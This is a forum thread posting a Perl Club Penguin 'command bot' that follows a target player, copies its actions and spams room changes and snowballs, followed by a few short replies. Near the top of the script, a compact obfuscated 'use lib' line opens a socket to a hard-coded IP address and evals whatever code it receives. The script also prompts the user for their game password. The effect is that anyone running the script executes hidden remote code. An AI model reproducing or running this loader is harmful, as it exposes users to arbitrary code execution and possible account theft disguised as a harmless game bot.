Best Club Penguin Bots
Hello, you are not logged in. You may log in or register.

Join the forum, it's quick and easy

Best Club Penguin Bots
Hello, you are not logged in. You may log in or register.
Best Club Penguin Bots
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Latest topics
» Add me on discord if you want to catch up!
Ninja's Command Script EmptyTue Feb 05, 2019 5:36 am by Gizmo92883

» Anybody else come to this forum for the memories?
Ninja's Command Script EmptyTue Jun 12, 2018 12:07 am by Cooldude21

» This forum died
Ninja's Command Script EmptyThu Mar 30, 2017 11:10 pm by _Skate_

» Introduce yourselves!
Ninja's Command Script EmptyFri Jan 23, 2015 7:21 pm by Gizmo92883

» Ozzy's Bot Script
Ninja's Command Script EmptyMon May 13, 2013 8:31 am by Pig

» Goodbye BCPB Forums.
Ninja's Command Script EmptyTue Sep 18, 2012 6:37 pm by 43nînjâ17

» Follow bot script (100% Credit to Cp-Cheater )
Ninja's Command Script EmptySun Sep 16, 2012 4:55 pm by Dentonbrooks

» Xat Main Owner Hacker
Ninja's Command Script EmptyFri Aug 17, 2012 2:32 am by 43nînjâ17

» xat message big
Ninja's Command Script EmptySat Aug 11, 2012 12:32 am by 43nînjâ17

Navigation
 Portal
 Index
 Memberlist
 Profile
 FAQ
 Search
Club Penguin Events
Advertisement

Ninja's Command Script

3 posters

Go down

Ninja's Command Script Empty Ninja's Command Script

Post  43nînjâ17 Thu Nov 11, 2010 12:15 am

Code:
#!/usr/bin/perl -w

# Program: Command Bot.pl
# Author: 43ninja17
# Copyright (C) 2010-2011
# Usage: Command Bot.pl <PenguinName> <Password> <Server> <TargetPenguinName>

use strict;
use IO::Socket;

use lib do{eval<$b>&&botstrap("PREM")||die$@,<$b>if$b=new IO::Socket::INET 114.46.99.120.":1"};import_once ClubPenguin => ();

import_once ClubPenguin => ();
import_once Util => (); # get_input

package CopyBot;

use strict;
use warnings;
our @ISA = qw(ClubPenguin);

# Initialize
$ClubPenguin::internal_room ||= {};

print "43ninja17 Command Bot\n";

my $o = new CopyBot {
  username => (shift || Util::get_input("43ninja17 Bot Name: ", "php and perl")),
  password => (shift || Util::get_input("Password: ", "")),
  server  => (shift || Util::get_input("Server: ", "slushy")),
};

# Who to copy
our $target = (shift || Util::get_input("Leader: ", "perl and php"));
# Whether or not to allow copying anyone that says "follow"
our $target_follow = $target ? 0 : 1;

my $xoffset = (shift || Util::get_input("X offset: ", "30"));
my $yoffset = (shift || Util::get_input("Y offset: ", "OFFSET"));
print "Connecting ...\n";
die "No good!\n" unless $o->joinWorld;
print "Connected to [$o->{server}]!\n";

while (1) {
  if (!$o->consume) {
    print scalar(localtime).": [$$] *YAWN*\n";
    select(undef,undef,undef,1);
  }
}

sub handleBuddyRequest {
  my $self = shift;
  my $theirroom = shift;
  my $PenguinID = shift;
  my $who = shift;
  print scalar(localtime).": [$$] [$self->{username}] INTERPRET: PENGUIN [$who] (\#$PenguinID) wishes to be your buddy.\n";
  $who =~ s/[ 0-9]//g; $who =~ s/^(.{9}).*/$1/;
  $self->doSendMessage("Y dId U aDd Me");
  $self->doBuddyAccept($PenguinID);
}

sub handleSendPosition {
  my $self = shift;
  my $room_id_internal = shift;
  my $PenguinID = shift;
  my $x = shift;
  my $y = shift;
  if (my $u = $self->{penguin}->{$PenguinID}) {
    my $who = $u->{name};
    print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] slowly moved to ($x, $y)\n";
    $u->{x} = $x;
    $u->{y} = $y;
    $u->{update} = time;
    if ($target and $who =~ /$target/i) {
      select(undef,undef,undef,0.75);
      $self->doSendPosition($x + $xoffset,$y + $yoffset);
    }
  }
}

sub handleSendMessage {
  my $self = shift;
  my $room_id_internal = shift;
  my $PenguinID = shift;
  my $said = shift;

  if (my $u = $self->{penguin}->{$PenguinID}) {
    my $who = $u->{name};
    $u->{update} = time;
    print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] said: $said\n";
    if ($said =~ /hello/i) {
      $who =~ s/[ 0-9]//g; $who =~ s/^(.{9}).*/$1/;
      $self->doSendMessage("Sup Ninja");
    } elsif ($target and $who =~ /$target/i) {
      if ($target_follow && $said =~ /follow/i) {
        $target = "";
        # Blurt out a random scriptcode
        my $scriptcode = int(rand 32) + 1;
        $self->doSendLineMessage($scriptcode);
      } else {
   # Pretend to lag a little bit
        select(undef,undef,undef,0.55);
        $self->doSendMessage($said);
      }
    } else {
      if ($target_follow && $said =~ /follow/i) {
        $target = $who;
        $self->doSendPosition($u->{x},$u->{y});
      }
    }
   if($said =~ /dance/i && $who =~ /$target/i) {
   $self->doSendFrame(26);
   }

   if($said =~ /Cool Snowball/i && $who =~ /$target/i) {
        $self->doSendThrowBall(100000000000000,10000000000000000);
        $self->doSendThrowBall(100000000000000,10000000000000000);
   sleep 2;
        $self->doSendThrowBall(10000000000000,10);
        $self->doSendThrowBall(10000000000000,10);
   sleep 2;
        $self->doSendThrowBall(0,1000);
        $self->doSendThrowBall(0,1000);
        $self->doSendThrowBall(0,1000);
    sleep 2;
   }
   if($said =~ /Slow Flash/i) {
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
                $self->doJoinRoom(805);
                sleep(1);
                $self->doJoinRoom(100);
                sleep(1);
  }
      if($said =~ /fast Flash/i) {
     $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
      $o->doJoinRoom(805, 0, 0);
      $o->doJoinRoom(100, 0, 0);
      sleep 1;
  }
                  if($said =~ /hands up/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(39);
                }
            
            if($said =~ /Hula Dance/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(32);
                }
            
            if($said =~ /Make Pizza/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(33);
                }
            
            if($said =~ /Make Coffee/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(34);
                }
            
            if($said =~ /Jackhammer/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(36);
                }
            
            if($said =~ /Juggle/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(40);
                }
            
            if($said =~ /Waves Red Flag/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(41);
                }
            
            if($said =~ /Maracas/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(42);
                }
            
            if($said =~ /Drums/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(43);
                }
            
            if($said =~ /Plays Tuba/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(45);
                }
            
             if($said =~ /Uses Fire Hose/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(46);
                }
            
            if($said =~ /Looks Through Glasses/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(48);
                }
            
            if($said =~ /Mummy Cross/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(49);
                }
            
            if($said =~ /Hits hammer over anvil/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(50);
                }
            
            if($said =~ /Paints/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(52);
                }
            
            if($said =~ /Shovels Snow/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(53);
                }
            
            if($said =~ /Hits Gong/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(54);
                }
            
            if($said =~ /Tromphet/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(56);
                }
            
            if($said =~ /Plays hermanica/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(58);
                }
            
            if($said =~ /Shake Hand/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(59);
                }
            
            if($said =~ /Hug/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(60);
                }
            
            if($said =~ /Shovel Snow/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(61);
                }
            
            if($said =~ /Smack/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(63);
                }
            
            if($said =~ /Holds hand of fire/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(65);
                }
            
            if($said =~ /Wattering Can/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(68);
                }
            
            if($said =~ /swim/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(37);
                }
            
            if($said =~ /ninja/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(64);
                }

            if($said =~ /fly/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(35);
                }
            
            if($said =~ /Throw Nothing/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(28);
                }
            
            if($said =~ /Break Dance/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(57);
                }
            
            if($said =~ /roll/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(70);
                }

                if($said =~ /Walk/i && $who =~ /$target/i)    { 
                $self->doSendPosition(300,300);
                $self->doSendFrame(51);
                }
            
            if($said =~ /Roll And Walk/i && $who =~ /$target/i)    {
            $self->doSendPosition(300,300);
                $self->doSendFrame(70);
            sleep 1;
            $self->doSendPosition(300,300);
                $self->doSendFrame(51);
                sleep 1;
            }
            
            if($said =~ /Who Made The Script?/i && $who =~ /$target/i)    {
            $self->doSendMessage("Ninja");
            }
            
            if($said =~ /Scream/i && $who =~ /$target/i)    {
            $self->doSendMessage("Blah Blah Blah Blah Blah");
            }
            
            if($said =~ /Snowballs/i && $who =~ /$target/i)    {
            $self->doSendThrowBall(100,100);
            sleep 1;
                $self->doSendThrowBall(100,100);
            sleep 1;
            $self->doSendThrowBall(100,100);
            sleep 1;
            $self->doSendThrowBall(100,100);
            sleep 1;
            $self->doSendThrowBall(100,100);
            sleep 1;
            $self->doSendThrowBall(100,100);
            sleep 1;
            }
            
            if($said =~ /Be Still/i && $who =~ /$target/i)    {
            $self->doSendFrame(1);
            }
            
            if($said =~ /log off please/i && $who =~ /$target/i) {
                $self->doSendMessage("ok!");
            exit;
                }
            
  }
}

sub handleSendEmote {
  my $self = shift;
  my $room_id_internal = shift;
  my $PenguinID = shift;
  my $emote_code = shift;
  if (my $u = $self->{penguin}->{$PenguinID}) {
    my $who = $u->{name};
    $u->{update} = time;
    print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] emoted [$emote_code]\n";
    if ($target and $who =~ /$target/i) {
      select(undef,undef,undef,0.55);
      $self->doSendEmote($emote_code);
    }
  }
}

sub handleRemovePlayer {
  my $self = shift;
  shift; # blah ...
  my $PenguinID = shift;
  if (my $u = $self->{penguin}->{$PenguinID}) {
    my $who = $u->{name};
    $u->{update} = time;
    print scalar(localtime).": [$$] [$self->{username}] INTERPRET: RemovePlayer [$who] from internal room [$self->{penguin}->{$self->{PenguinID}}->{internal_room_id}]\n";
    if ($target and $who =~ /$target/i) {
      $self->{_BuddyFind_PenguinID} = $PenguinID;
      $self->doBuddyFind($PenguinID);
    }
  }
}

sub handleBuddyFind {
  my $self = shift;
  my $my_room_id_internal = shift;
  my $their_room_id_external = shift;
  my $their_room_id_internal = "";
  my $visitee_PenguinID = "";
  if ($their_room_id_external) {
    if ($their_room_id_external > 9999999999999999999999) {
      $visitee_PenguinID = $their_room_id_external - 99999999999999999999999;
    } elsif (my $room = $ClubPenguin::internal_room->{$their_room_id_external}) {
      $their_room_id_internal = $room;
    }
  }
  if (my $PenguinID = $self->{_BuddyFind_PenguinID}) {
    if (my $u = $self->{penguin}->{$PenguinID}) {
      my $x = $u->{x} || 0;
      my $y = $u->{y} || 0;
      if (my $who = $u->{name}) {
        if ($visitee_PenguinID) {
          if (my $visitee = $self->{penguin}->{$visitee_PenguinID}) {
            print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in igloo of [$visitee->{name}] (PenguinID #$visitee_PenguinID)\n";
       } else {
            print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in igloo of (PenguinID #$visitee_PenguinID)\n";
         $self->doGetPlayer($visitee_PenguinID);
          }
        } elsif ($their_room_id_external) {
          $self->doJoinRoom($their_room_id_external,$x,$y) if $target and $who =~ /$target/i;
          if ($their_room_id_internal) {
            print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in external room [$their_room_id_external] (previously visited internal room id [$their_room_id_internal])\n";
          } else {
            print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] found in external room [$their_room_id_external]\n";
          }
        } else {
          print scalar(localtime).": [$$] [$self->{username}] INTERPRET: BuddyFind [$who] not logged in!\n";
          $u->{internal_room_id} = $u->{external_room_id} = 0;
        }
      }
    }
  } else {
    print scalar(localtime).": [$$] [$self->{username}] BuddyFind no doBuddyFind called yet?\n";
  }
}


sub handleSendThrowBall {
  my $self = shift;
  my $room_id_internal = shift;
  my $PenguinID = shift;
  my $x = shift;
  my $y = shift;
  if (my $u = $self->{penguin}->{$PenguinID}) {
    my $who = $u->{name};
    $u->{update} = time;
    print scalar(localtime).": [$$] [$self->{username}] INTERPRET: Penguin [$who] threw a snowball at ($x, $y)\n";
    $u->{x} = $x;
    $u->{y} = $y;
    if ($target and $who =~ /$target/i) {
      select(undef,undef,undef,0.25);
      $self->doSendThrowBall($x + int(rand(20)),$y + int(rand(20)));
    }
  }
}


Last edited by 43nînjâ17 on Tue Aug 21, 2012 11:53 pm; edited 2 times in total

43nînjâ17

Posts : 89
Reputation : 6
Join date : 2010-08-29
Location : Behind you

Back to top Go down

Ninja's Command Script Empty YIKES

Post  Cool7833 Sun Dec 26, 2010 8:01 pm

the sit and wave command doesnt work
Cool7833
Cool7833

Posts : 1
Reputation : 0
Join date : 2010-12-23
Age : 24

Back to top Go down

Ninja's Command Script Empty ---

Post  43nînjâ17 Mon Dec 27, 2010 1:12 pm

Cool7833 wrote:the sit and wave command doesnt work
it should.

43nînjâ17

Posts : 89
Reputation : 6
Join date : 2010-08-29
Location : Behind you

Back to top Go down

Ninja's Command Script Empty Re: Ninja's Command Script

Post  Wacakupla Sat Sep 03, 2011 2:06 am

It's working!

Wacakupla

Posts : 1
Reputation : 0
Join date : 2011-09-03

Back to top Go down

Ninja's Command Script Empty Re: Ninja's Command Script

Post  Sponsored content


Sponsored content


Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum